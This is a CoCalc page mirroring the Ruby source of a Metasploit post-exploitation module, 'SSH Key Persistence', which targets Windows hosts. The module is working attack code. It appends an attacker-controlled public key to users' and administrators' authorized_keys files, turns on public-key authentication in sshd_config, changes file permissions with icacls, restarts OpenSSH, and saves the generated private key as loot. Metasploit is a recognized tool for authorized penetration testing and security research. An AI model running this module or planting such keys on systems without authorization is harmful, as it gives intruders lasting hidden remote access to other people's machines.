CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/sshkey_persistence.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'sshkey'
7
8
class MetasploitModule < Msf::Post
9
Rank = GoodRanking
10
11
include Msf::Post::File
12
include Msf::Post::Windows::UserProfiles
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'SSH Key Persistence',
19
'Description' => %q{
20
This module will add an SSH key to a specified user (or all), to allow
21
remote login via SSH at any time.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'Dean Welch <dean_welch[at]rapid7.com>'
26
],
27
'Platform' => [ 'windows' ],
28
'SessionTypes' => [ 'meterpreter', 'shell' ],
29
'Compat' => {
30
'Meterpreter' => {
31
'Commands' => %w[
32
stdapi_fs_mkdir
33
stdapi_fs_separator
34
]
35
}
36
}
37
)
38
)
39
40
register_options(
41
[
42
OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
43
OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),
44
OptString.new('SSHD_CONFIG', [true, 'sshd_config file', 'C:\ProgramData\ssh\sshd_config' ]),
45
OptString.new('ADMIN_KEY_FILE', [true, 'Admin key file', 'C:\ProgramData\ssh\administrators_authorized_keys' ]),
46
OptBool.new('EDIT_CONFIG', [true, 'Edit ssh config to allow public key authentication', false ]),
47
OptBool.new('ADMIN', [true, 'Add keys for administrator accounts', false ]),
48
OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])
49
], self.class
50
)
51
end
52
53
def run
54
sep = separator
55
56
sshd_config = read_file(datastore['SSHD_CONFIG'])
57
58
print_status('Checking SSH Permissions')
59
if !pub_key_auth_allowed?(sshd_config) && datastore['EDIT_CONFIG']
60
enable_pub_key_auth(sshd_config)
61
end
62
63
auth_key_file = auth_key_file_name(sshd_config)
64
65
print_status("Authorized Keys File: #{auth_key_file}")
66
67
auth_key_folder = auth_key_file.split('/')[0...-1].join(sep)
68
auth_key_file = auth_key_file.split('/')[-1]
69
70
paths = []
71
if datastore['USERNAME']
72
grab_user_profiles.each do |profile|
73
paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}" if profile['UserName'] == datastore['USERNAME']
74
end
75
end
76
77
if datastore['ADMIN'] # SSH keys for admin accounts are stored in a separate location
78
admin_auth_key_folder = datastore['ADMIN_KEY_FILE'].split(sep)[0...-1].join(sep)
79
admin_auth_key_file = datastore['ADMIN_KEY_FILE'].split(sep)[-1]
80
81
print_status("Admin Authorized Keys File: #{admin_auth_key_file}")
82
83
write_key([admin_auth_key_folder], admin_auth_key_file, sep)
84
end
85
86
if !datastore['USERNAME'] && !datastore['ADMIN']
87
grab_user_profiles.each do |profile|
88
paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}"
89
end
90
end
91
92
if datastore['CREATESSHFOLDER'] == true
93
create_ssh_folder(paths)
94
end
95
96
paths = paths.select { |d| directory?(d) }
97
unless paths.empty?
98
write_key(paths, auth_key_file, sep)
99
end
100
101
restart_openssh
102
end
103
104
def enable_pub_key_auth(sshd_config)
105
sshd_config = sshd_config.sub(/^.*(PubkeyAuthentication).*$/, 'PubkeyAuthentication yes')
106
write_file(datastore['SSHD_CONFIG'], sshd_config)
107
end
108
109
def pub_key_auth_allowed?(sshd_config)
110
/^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
111
if pub_key && pub_key == 'no'
112
print_error('Pubkey Authentication disabled')
113
elsif pub_key
114
vprint_good("Pubkey set to #{pub_key}")
115
end
116
end
117
118
def auth_key_file_name(sshd_config)
119
%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
120
if auth_key_file
121
auth_key_file = auth_key_file.gsub('%h', '')
122
auth_key_file = auth_key_file.gsub('%%', '%')
123
if auth_key_file.start_with? '/'
124
auth_key_file = auth_key_file[1..]
125
end
126
else
127
auth_key_file = '.ssh/authorized_keys'
128
end
129
auth_key_file
130
end
131
132
def create_ssh_folder(paths)
133
vprint_status("Attempting to create ssh folders that don't exist")
134
paths.each do |p|
135
unless directory?(p)
136
print_status("Creating #{p} folder")
137
session.fs.dir.mkdir(p)
138
end
139
end
140
end
141
142
def restart_openssh
143
cmd_exec('net stop "OpenSSH SSH Server"')
144
cmd_exec('net start "OpenSSH SSH Server"')
145
end
146
147
def set_pub_key_file_permissions(file)
148
cmd_exec("icacls #{file} /inheritance:r")
149
cmd_exec("icacls #{file} /grant SYSTEM:(F)")
150
cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")
151
end
152
153
def separator
154
if session.type == 'meterpreter'
155
sep = session.fs.file.separator
156
else
157
# Guess, but it's probably right
158
sep = '\\'
159
end
160
sep
161
end
162
163
def write_key(paths, auth_key_file, sep)
164
if datastore['PUBKEY'].nil?
165
key = SSHKey.generate
166
our_pub_key = key.ssh_public_key
167
loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
168
print_good("Storing new private key as #{loot_path}")
169
else
170
our_pub_key = ::File.read(datastore['PUBKEY'])
171
end
172
paths.each do |path|
173
path.chomp!
174
authorized_keys = "#{path}#{sep}#{auth_key_file}"
175
print_status("Adding key to #{authorized_keys}")
176
append_file(authorized_keys, "\n#{our_pub_key}")
177
print_good('Key Added')
178
set_pub_key_file_permissions(authorized_keys)
179
next unless datastore['PUBKEY'].nil?
180
181
path_array = path.split(sep)
182
path_array.pop
183
user = path_array.pop
184
credential_data = {
185
origin_type: :session,
186
session_id: session_db_id,
187
post_reference_name: refname,
188
private_type: :ssh_key,
189
private_data: key.private_key.to_s,
190
username: user,
191
workspace_id: myworkspace_id
192
}
193
194
create_credential(credential_data)
195
end
196
end
197
end
198
199